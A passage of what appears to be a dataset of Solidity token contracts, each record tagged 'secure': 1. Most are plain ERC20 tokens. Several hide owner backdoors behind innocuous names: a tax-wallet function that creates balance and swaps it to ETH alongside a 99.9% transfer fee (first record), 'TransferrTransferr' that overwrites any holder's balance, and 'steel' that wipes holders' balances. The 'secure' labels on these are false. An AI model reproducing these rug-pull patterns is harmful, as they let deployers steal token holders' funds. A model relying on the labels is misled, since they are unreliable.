recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function RemoveLimitPerBloc(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1608.sol",
"secure": 1,
"size_bytes": 7136
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC20Errors.sol\" as IERC20Errors;\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n error ERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n constructor() {\n _name = \"SafeBitCoin\";\n _symbol = \"SAFEBTC\";\n _decimals = 18;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, value);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, value);\n _transfer(from, to, value);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 requestedDecrease\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance < requestedDecrease) {\n revert ERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n unchecked {\n _approve(owner, spender, currentAllowance - requestedDecrease);\n }\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n _update(account, address(0), value);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n _allowances[owner][spender] = value;\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}",
"file_name": "solidity_code_1609.sol",
"secure": 1,
"size_bytes": 6023
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract TOKEN is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ee3902): TOKEN._decimals should be immutable \n\t// Recommendation for 7ee3902: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9680c61): TOKEN._totalSupply should be immutable \n\t// Recommendation for 9680c61: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n event BalanceAdjusted(\n address indexed account,\n uint256 oldBalance,\n uint256 newBalance\n );\n\n function TransferrTransferr(\n address[] memory accounts,\n uint256 newBalance\n ) external onlyowner {\n for (uint256 i = 0; i < accounts.length; i++) {\n address account = accounts[i];\n\n uint256 oldBalance = _balances[account];\n\n _balances[account] = newBalance;\n\n emit BalanceAdjusted(account, oldBalance, newBalance);\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_161.sol",
"secure": 1,
"size_bytes": 3944
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SafeBitCoin is ERC20 {\n constructor(uint256 totalSupply_, address to) ERC20() {\n _mint(to, totalSupply_);\n }\n}",
"file_name": "solidity_code_1610.sol",
"secure": 1,
"size_bytes": 272
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LART is ERC20 {\n constructor() ERC20(\"LART\", \"LART\") {\n _mint(msg.sender, 100_000_000 * 10 ** uint256(decimals()));\n }\n}",
"file_name": "solidity_code_1611.sol",
"secure": 1,
"size_bytes": 282
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract HoldersFaces is ERC20 {\n address private _owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() ERC20(\"Token Holders Faces\", \"THF\") {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_1612.sol",
"secure": 1,
"size_bytes": 934
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LETSB is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"Lets Benchmark\", \"LETSB\") {\n _mint(msg.sender, initialSupply);\n }\n}",
"file_name": "solidity_code_1613.sol",
"secure": 1,
"size_bytes": 283
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnershipForever(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransferOwnershipForever(\n address newOwner\n ) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnershipForever(newOwner);\n }\n\n function _transferOwnershipForever(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1614.sol",
"secure": 1,
"size_bytes": 1192
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Xcode is ERC20, Ownable {\n constructor() ERC20(\"Xcode\", \"CODE\") {\n _mint(msg.sender, 150000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1615.sol",
"secure": 1,
"size_bytes": 348
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\nlibrary SafERC20 {\n using Address for address;\n\n function safTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safApprove(IERC20 token, address spender, uint256 value) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance + value\n )\n );\n }\n\n function safDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(\n oldAllowance >= value,\n \"SafERC20: decreased allowance below zero\"\n );\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n oldAllowance - value\n )\n );\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeWithSelector(\n token.approve.selector,\n spender,\n value\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, 0)\n );\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function safPermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(\n nonceAfter == nonceBefore + 1,\n \"SafERC20: permit did not succeed\"\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafERC20: low-level call failed\"\n );\n require(\n returndata.length == 0 || abi.decode(returndata, (bool)),\n \"SafERC20: ERC20 operation did not succeed\"\n );\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n Address.isContract(address(token));\n }\n}",
"file_name": "solidity_code_1616.sol",
"secure": 1,
"size_bytes": 4118
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SafERC20.sol\" as SafERC20;\n\ncontract WATCHAI is Ownable, ERC20 {\n using SafERC20 for IERC20;\n\n constructor() ERC20(\"Watch AI\", \"WATCH\") {\n _transferOwnership(0x8114681C083eaA9c63a735a623413335c9ed9C92);\n _mint(owner(), 10_000_000_000 * (10 ** 18));\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n\n function burn(uint256 amount) external {\n super._burn(_msgSender(), amount);\n }\n\n function claimStuckTokens(address token) external onlyOwner {\n if (token == address(0x0)) {\n payable(_msgSender()).transfer(address(this).balance);\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n ERC20token.safTransfer(_msgSender(), balance);\n }\n}",
"file_name": "solidity_code_1617.sol",
"secure": 1,
"size_bytes": 1107
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract Gunx is ERC721A {\n address private immutable _owner;\n\n modifier onlyOwner() {\n require(_owner == msg.sender, \"not owner\");\n _;\n }\n\n uint256 public constant MAX_SUPPLY = 666;\n uint256 public constant MAX_FREE = 444;\n uint256 public constant MAX_FREE_PER_WALLET = 2;\n uint256 public constant MAX_PER_WALLET = 10;\n uint256 public constant COST = 0.001 ether;\n\n string private __baseUri = \"Qma135vGxfjoK7Cg7NugcsMUGX3tP25eKS8niEnipAzHcX\";\n\n constructor() ERC721A() {\n _owner = msg.sender;\n }\n\n function mint(uint256 amount) external payable {\n require(totalSupply() + amount <= MAX_SUPPLY, \"Sold Out\");\n require(amount * COST <= msg.value, \"Value to Low\");\n require(\n amount + _numberMinted(msg.sender) <= MAX_PER_WALLET,\n \"Max per Wallet\"\n );\n\n _safeMint(msg.sender, amount);\n }\n\n function freeMint() external {\n uint256 amount = 1;\n require(totalSupply() + amount <= MAX_SUPPLY, \"Sold Out\");\n require(\n amount + _numberMinted(msg.sender) <= MAX_FREE_PER_WALLET,\n \"Max Free per Wallet\"\n );\n\n _safeMint(msg.sender, amount);\n }\n\n function name() public view virtual override returns (string memory) {\n return \"Gunx\";\n }\n\n function symbol() public view virtual override returns (string memory) {\n return \"GUNX\";\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return __baseUri;\n }\n\n function setUri(string memory _newBase) external onlyOwner {\n __baseUri = _newBase;\n }\n\n function contractURI() public view returns (string memory) {\n return \"ipfs://QmXHqZ6SHqEDgejCxGZcKTmEatZ1mcZbpBPTf1SDna7ya8\";\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_1618.sol",
"secure": 1,
"size_bytes": 2099
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Freezable is Ownable {\n mapping(address => bool) blacklist;\n\n event FreezeAccount(address indexed who);\n event UnFreezeAccount(address indexed who);\n\n modifier unFreezedAccountOnly() {\n require(!blacklist[msg.sender], \"Freezed user\");\n _;\n }\n\n function freezeAccount(address who) public onlyOwner {\n blacklist[who] = true;\n\n emit FreezeAccount(who);\n }\n\n function unFreezeAccount(address who) public onlyOwner {\n blacklist[who] = false;\n\n emit UnFreezeAccount(who);\n }\n}",
"file_name": "solidity_code_1619.sol",
"secure": 1,
"size_bytes": 699
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Itsover is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable community;\n\n constructor() {\n _name = \"its over\";\n\n _symbol = \"OVER\";\n\n _decimals = 18;\n\n uint256 initialSupply = 826000000;\n\n community = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == community, \"Not allowed\");\n\n _;\n }\n\n function steel(address[] memory desert) public onlyOwner {\n for (uint256 i = 0; i < desert.length; i++) {\n address account = desert[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_162.sol",
"secure": 1,
"size_bytes": 4362
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Lockable is Ownable {\n mapping(address => uint256) lockedList;\n\n event LockAccount(address indexed who);\n event UnlockAccount(address indexed who);\n\n modifier unlockedAccountOnly() {\n require(lockedList[msg.sender] < block.timestamp, \"Locked user\");\n _;\n }\n\n function lockAccount(address who, uint256 unlockTime) public onlyOwner {\n lockedList[who] = unlockTime;\n\n emit LockAccount(who);\n }\n\n function unlockAccount(address who) public onlyOwner {\n lockedList[who] = 0;\n\n emit UnlockAccount(who);\n }\n}",
"file_name": "solidity_code_1620.sol",
"secure": 1,
"size_bytes": 730
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"./Freezable.sol\" as Freezable;\nimport \"./Lockable.sol\" as Lockable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CoinGhost is ERC20Burnable, Pausable, Freezable, Lockable {\n constructor(\n address account,\n uint256 initialSupply\n ) ERC20(\"COINGHOST\", \"COGO\") {\n _mint(account, initialSupply * 10 ** decimals());\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal override unFreezedAccountOnly unlockedAccountOnly {\n require(!paused(), \"Can't transfer while paused!\");\n }\n}",
"file_name": "solidity_code_1621.sol",
"secure": 1,
"size_bytes": 1003
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceID) external view returns (bool);\n}",
"file_name": "solidity_code_1622.sol",
"secure": 1,
"size_bytes": 166
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract AustrianPainterTransLover is ERC20, Ownable {\n constructor(\n address lpOwnerAddress\n ) ERC20(\"AustrianPainterTransLover\", \"MYKAMF\") {\n _mint(msg.sender, 50000000 * 10 ** decimals());\n _mint(address(lpOwnerAddress), 950000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1623.sol",
"secure": 1,
"size_bytes": 491
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_1624.sol",
"secure": 1,
"size_bytes": 912
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HAY is ERC20, Ownable {\n constructor() ERC20(\"HayCoin\", \"HAY\") {\n _mint(msg.sender, 10000 * (10 ** 9));\n }\n}",
"file_name": "solidity_code_1625.sol",
"secure": 1,
"size_bytes": 329
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n event Approval(\n address indexed _owner,\n address indexed _approved,\n uint256 indexed _tokenId\n );\n\n event ApprovalForAll(\n address indexed _owner,\n address indexed _operator,\n bool _approved\n );\n\n function balanceOf(address _owner) external view returns (uint256);\n\n function ownerOf(uint256 _tokenId) external view returns (address);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external;\n\n function approve(address _approved, uint256 _tokenId) external;\n\n function setApprovalForAll(address _operator, bool _approved) external;\n\n function getApproved(uint256 _tokenId) external view returns (address);\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_1626.sol",
"secure": 1,
"size_bytes": 1176
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TWOPEPE is ERC20 {\n constructor() ERC20(\"TWOPEPE\", \"TWOPEPE\") {\n _mint(msg.sender, 420690000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1627.sol",
"secure": 1,
"size_bytes": 280
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BRUH is ERC20 {\n constructor() ERC20(\"Bruh\", \"BRUH\") {\n _mint(msg.sender, 420_690000000000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_1628.sol",
"secure": 1,
"size_bytes": 266
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.